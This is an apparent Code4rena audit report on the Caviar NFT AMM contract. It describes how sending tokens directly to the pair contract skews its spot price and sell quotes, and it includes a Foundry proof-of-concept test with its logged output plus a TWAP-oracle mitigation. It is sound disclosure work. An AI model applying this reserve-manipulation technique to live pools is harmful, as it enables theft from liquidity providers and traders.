Spot price and quote can be manipulated easily

[code423n4]

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L391
https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L399
https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L408
https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L422
https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L437

Vulnerability details

Impact

Stop price and quote can be manipulated easily

Proof of Concept

Note the implementation for get price(), buyQuote() and sellQuote()

    /// @notice The current price of one fractional token in base tokens with 18 decimals of precision.
    /// @dev Calculated by dividing the base token reserves by the fractional token reserves.
    /// @return price The price of one fractional token in base tokens * 1e18.
    function price() public view returns (uint256) {
        return (_baseTokenReserves() * ONE) / fractionalTokenReserves();
    }

    /// @notice The amount of base tokens required to buy a given amount of fractional tokens.
    /// @dev Calculated using the xyk invariant and a 30bps fee.
    /// @param outputAmount The amount of fractional tokens to buy.
    /// @return inputAmount The amount of base tokens required.
    function buyQuote(uint256 outputAmount) public view returns (uint256) {
        return (outputAmount * 1000 * baseTokenReserves()) / ((fractionalTokenReserves() - outputAmount) * 997);
    }

    /// @notice The amount of base tokens received for selling a given amount of fractional tokens.
    /// @dev Calculated using the xyk invariant and a 30bps fee.
    /// @param inputAmount The amount of fractional tokens to sell.
    /// @return outputAmount The amount of base tokens received.
    function sellQuote(uint256 inputAmount) public view returns (uint256) {
        uint256 inputAmountWithFee = inputAmount * 997;
        return (inputAmountWithFee * baseTokenReserves()) / ((fractionalTokenReserves() * 1000) + inputAmountWithFee);
    }

    /// @notice The amount of lp tokens received for adding a given amount of base tokens and fractional tokens.
    /// @dev Calculated as a share of existing deposits. If there are no existing deposits, then initializes to
    ///      sqrt(baseTokenAmount * fractionalTokenAmount).
    /// @param baseTokenAmount The amount of base tokens to add.
    /// @param fractionalTokenAmount The amount of fractional tokens to add.
    /// @return lpTokenAmount The amount of lp tokens received.
    function addQuote(uint256 baseTokenAmount, uint256 fractionalTokenAmount) public view returns (uint256) {
        uint256 lpTokenSupply = lpToken.totalSupply();
        if (lpTokenSupply > 0) {
            // calculate amount of lp tokens as a fraction of existing reserves
            uint256 baseTokenShare = (baseTokenAmount * lpTokenSupply) / baseTokenReserves();
            uint256 fractionalTokenShare = (fractionalTokenAmount * lpTokenSupply) / fractionalTokenReserves();
            return Math.min(baseTokenShare, fractionalTokenShare);
        } else {
            // if there is no liquidity then init
            return Math.sqrt(baseTokenAmount * fractionalTokenAmount);
        }
    }

    /// @notice The amount of base tokens and fractional tokens received for burning a given amount of lp tokens.
    /// @dev Calculated as a share of existing deposits.
    /// @param lpTokenAmount The amount of lp tokens to burn.
    /// @return baseTokenAmount The amount of base tokens received.
    /// @return fractionalTokenAmount The amount of fractional tokens received.
    function removeQuote(uint256 lpTokenAmount) public view returns (uint256, uint256) {
        uint256 lpTokenSupply = lpToken.totalSupply();
        uint256 baseTokenOutputAmount = (baseTokenReserves() * lpTokenAmount) / lpTokenSupply;
        uint256 fractionalTokenOutputAmount = (fractionalTokenReserves() * lpTokenAmount) / lpTokenSupply;

        return (baseTokenOutputAmount, fractionalTokenOutputAmount);
    }

all the price or quote is determined by the baseTokenReserves() in the pool and the fractionTokenReserves() in the pool.

basically result = a / b, if a is going up, result is going up, if b is going down, result goes down.

if a user inject ETH by self-destruct or transfer ERC20 asset (via flashloan or just transfer what they owned) into the Pair contract directly, baseTokenReserves() goes up, price is inflated.

IF a user inject fracitonal token directly, the fractionTokenReserves() goes up, the price goes down and the price is deflated.

The POC below shows that by inflating the fractionTokenReserve(), price is deflated and deflated() and user get less and less when calling sellQuote.

https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/test/Pair/unit/Sell.t.sol#L66

    function testPriceManiuplation_POC() public {

        uint256 price = p.price();
        console.log("price before");
        console.log(price);

        uint256 quoteAmount = p.sellQuote(inputAmount);
        console.log("sell quote amount before");
        console.log(quoteAmount);

        console.log("----");

        // wrap nft to acquire token and eject the token into the pair contract
        // to manipulate the price
        address nft = p.nft();
        MockERC721(nft).mint(address(this), 10);
        MockERC721(nft).setApprovalForAll(address(p), true);

        uint256[] memory tokenIds = new uint256[](1);
        tokenIds[0] = 10;

        bytes32[][] memory proofs;

        p.wrap(tokenIds, proofs);

        uint256 balance = p.balanceOf(address(this));

        p.transfer(address(p), balance);

        price = p.price();
        console.log("price after");
        console.log(price);

        quoteAmount = p.sellQuote(inputAmount);
        console.log("sell quote amount before after");
        console.log(quoteAmount);

        console.log("----");

    }

we run the test:

forge test -vvv --match testPriceManiuplation_POC

the output is:

[PASS] testPriceManiuplation_POC() (gas: 136745)     
Logs:
  price before
  301260126012601260
  sell quote amount before
  100881105164086645
  ----
  price after
  297285027682651218
  sell quote amount before after
  99554387949384411
  ----

Test result: ok. 1 passed; 0 failed; finished in 10.61ms

note in the worst case, when removing liqudity, the user's LP can burned and receive nothing if the user does not choose the slippage control carefully.

Tools Used

Manual Review, Solidity

Recommended Mitigation Steps

Using spot price is very subject to manipulation as we have seen a lot of flashloan oracle manipulation attack.

We recommend the project implementation a more robust oracle solution such as TWAP oracle.

[c4-judge]

berndartmueller marked the issue as duplicate of #353

[c4-judge]

berndartmueller marked the issue as satisfactory

[C4-Staff]

CloudEllie marked the issue as duplicate of #383